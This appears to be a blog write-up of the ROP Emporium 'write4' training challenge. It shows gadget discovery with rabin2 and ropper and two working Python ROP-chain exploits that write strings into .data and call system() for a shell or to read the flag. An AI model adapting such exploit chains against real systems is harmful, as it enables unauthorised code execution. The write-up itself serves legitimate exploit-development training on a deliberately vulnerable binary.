Our first foray into proper gadget use. A call to system() is still present but we’ll need to write a string into memory somehow.
The binary and challenge description can be found here:
https://ropemporium.com/challenge/write4.html
For this challenge, I’ll focus on the 64-bit version first and create a solution for 32-bit later. I know I’ll need to get a string into memory, a pointer to that string into the RDI register, and then call system(). The main hurdle to overcome here is getting the string into memory. The challenge description states, “Perhaps the most important thing to consider in this challenge is where we’re going to write our string. Use rabin2 or readelf to check out the different sections of this binary and their permissions.” So, let’s do that first:
andrew ~/write4 $ rabin2 -S write4 [Sections] nth paddr size vaddr vsize perm name ――――――――――――――――――――――――――――――――――――――――――――――――― 0 0x00000000 0x0 0x00000000 0x0 ---- 1 0x00000238 0x1c 0x00400238 0x1c -r-- .interp 2 0x00000254 0x20 0x00400254 0x20 -r-- .note.ABI_tag 3 0x00000274 0x24 0x00400274 0x24 -r-- .note.gnu.build_id 4 0x00000298 0x30 0x00400298 0x30 -r-- .gnu.hash 5 0x000002c8 0x120 0x004002c8 0x120 -r-- .dynsym 6 0x000003e8 0x74 0x004003e8 0x74 -r-- .dynstr 7 0x0000045c 0x18 0x0040045c 0x18 -r-- .gnu.version 8 0x00000478 0x20 0x00400478 0x20 -r-- .gnu.version_r 9 0x00000498 0x60 0x00400498 0x60 -r-- .rela.dyn 10 0x000004f8 0xa8 0x004004f8 0xa8 -r-- .rela.plt 11 0x000005a0 0x1a 0x004005a0 0x1a -r-x .init 12 0x000005c0 0x80 0x004005c0 0x80 -r-x .plt 13 0x00000640 0x8 0x00400640 0x8 -r-x .plt.got 14 0x00000650 0x252 0x00400650 0x252 -r-x .text 15 0x000008a4 0x9 0x004008a4 0x9 -r-x .fini 16 0x000008b0 0x64 0x004008b0 0x64 -r-- .rodata 17 0x00000914 0x44 0x00400914 0x44 -r-- .eh_frame_hdr 18 0x00000958 0x134 0x00400958 0x134 -r-- .eh_frame 19 0x00000e10 0x8 0x00600e10 0x8 -rw- .init_array 20 0x00000e18 0x8 0x00600e18 0x8 -rw- .fini_array 21 0x00000e20 0x8 0x00600e20 0x8 -rw- .jcr 22 0x00000e28 0x1d0 0x00600e28 0x1d0 -rw- .dynamic 23 0x00000ff8 0x8 0x00600ff8 0x8 -rw- .got 24 0x00001000 0x50 0x00601000 0x50 -rw- .got.plt 25 0x00001050 0x10 0x00601050 0x10 -rw- .data 26 0x00001060 0x0 0x00601060 0x30 -rw- .bss 27 0x00001060 0x34 0x00000000 0x34 ---- .comment 28 0x00001ae2 0x10c 0x00000000 0x10c ---- .shstrtab 29 0x00001098 0x768 0x00000000 0x768 ---- .symtab 30 0x00001800 0x2e2 0x00000000 0x2e2 ---- .strtab
We can effectively ignore any section that doesn’t have a “w” under the “perm” column as only those have write permissions. The .data
section is for initialized yet writable data, such as global variables. This should work for storing our string. So the address we’ll use to store it is 0x601050
.
Next, we need to figure out how to store that string there. The challenge description says, “we’ll be looking for gadgets that let us write a value to memory such as mov [reg], reg
.” Past challenges have always had a “usefulGadgets” symbol. We can use radare2 to find this:
As you can see, this “useful gadget” does exactly what we need. It moves that value stored in the R15 register to the location pointed to by the R14 register. I’ll make note that the address of this gadget is 0x400820
. Now we just need a gadget to get those registers populated. I can use ropper
for this:
andrew ~/write4 $ ropper --file write4 --search "pop r14" [INFO] Load gadgets from cache [LOAD] loading... 100% [LOAD] removing double gadgets... 100% [INFO] Searching for gadgets: pop r14 [INFO] File: write4 0x0000000000400890: pop r14; pop r15; ret;
How convenient! I found one gadget that does exactly what I need, pop a value into R14 and R15, respectively. Again, I’ll note that the address for this gadget is 0x400890
.
In order to make the call to system(), we’ll need to the address of the string (0x601050
) saved to RDI. For this, we’ll need a pop rdi
gadget.
andrew ~/write4 $ ropper --file write4 --search "pop rdi; ret" [INFO] Load gadgets from cache [LOAD] loading... 100% [LOAD] removing double gadgets... 100% [INFO] Searching for gadgets: pop rdi; ret [INFO] File: write4 0x0000000000400893: pop rdi; ret;
Here we found a gadget at 0x400893
. The last thing we need is the address of system():
andrew ~/write4 $ rabin2 -i write4 [Imports] nth vaddr bind type name ――――――――――――――――――――――――――――――――― 1 0x004005d0 GLOBAL FUNC puts 2 0x004005e0 GLOBAL FUNC system 3 0x004005f0 GLOBAL FUNC printf 4 0x00400600 GLOBAL FUNC memset 5 0x00400610 GLOBAL FUNC __libc_start_main 6 0x00400620 GLOBAL FUNC fgets 7 0x00000000 WEAK NOTYPE __gmon_start__ 8 0x00400630 GLOBAL FUNC setvbuf
We can use the address 0x4005e0
as the last link in our ROP chain. The entire ROP chain should look like this:
"A" * 40 => buffer 0x400890 => Gadget: pop r14; pop r15; ret; 0x601050 => Where to save the string in .data section (R14) /bin/sh => The string (R15) 0x400820 => Gadget: mov QWORD PTR [r14], r15; ret; 0x400893 => Gadget: pop rdi; ret; 0x601050 => Location of the string in .data section 0x4005e0 => system()
You’ll notice that the string I chose to use is “/bin/sh” (to get a shell) instead of simply “cat flag.txt”. I’m trying to keep this exploit as simple as possible so I needed a string that was no more than 7 characters long (plus a null byte at the end) since I can only store up to 8 bytes in a register at a time. Later I’ll try a longer string. Time to put this exploit together in a Python script:
#!/usr/bin/env python3 import struct import sys location = struct.pack("Q", 0x601050) # Save the string to the .data section payload = b"A" * 40 payload += struct.pack("Q", 0x400890) # pop r14; pop r15; ret; payload += location # Address where the string will be written to payload += b"/bin/sh\x00" # The string payload += struct.pack("Q", 0x400820) # mov QWORD PTR [r14],r15; ret; payload += struct.pack("Q", 0x400893) # pop rdi; ret; payload += location # Address of where the string is saved to payload += struct.pack("Q", 0x4005e0) # PLT address of system() sys.stdout.buffer.write(payload)
Let’s put it to use:
andrew ~/write4 $ (./exploit.py; echo; cat) | ./write4 write4 by ROP Emporium 64bits Go ahead and give me the string already! > id uid=1000(andrew) gid=985(users) groups=985(users),98(power),988(storage),998(wheel) cat flag.txt ROPE{a_placeholder_32byte_flag!}
Update:
Now I’d like to use a longer string than just “/bin/sh”. I’ll need to use the "pop r14; pop r15;"
and "mov QWORD PTR [r14],r15;"
gadgets multiple times:
#!/usr/bin/env python3 import sys location = 0x601050 # Save the string to the .data section payload = b"A" * 40 payload += (0x400890).to_bytes(8, "little") # pop r14; pop r15; ret; payload += (location).to_bytes(8, "little") # Address where the string will be written to payload += b"cat flag" payload += (0x400820).to_bytes(8, "little") # mov QWORD PTR [r14],r15; ret; payload += (0x400890).to_bytes(8, "little") # pop r14; pop r15; ret; payload += (location+8).to_bytes(8, "little") # Address where the string will be written to payload += b".txt\x00\x00\x00\x00" payload += (0x400820).to_bytes(8, "little") # mov QWORD PTR [r14],r15; ret; payload += (0x400893).to_bytes(8, "little") # pop rdi; ret; payload += (location).to_bytes(8, "little") # Address of where the string is saved to payload += (0x4005e0).to_bytes(8, "little") # PLT address of system() sys.stdout.buffer.write(payload)
By the way, I never realized (until now) that I don’t need to use the struct module in python3 as there’s a built-in called to_bytes()
. Anyway, now the exploit simply cats the flag:
ndrew ~/write4 $ ./exploit2.py | ./write4 write4 by ROP Emporium 64bits Go ahead and give me the string already! > ROPE{a_placeholder_32byte_flag!} Segmentation fault (core dumped)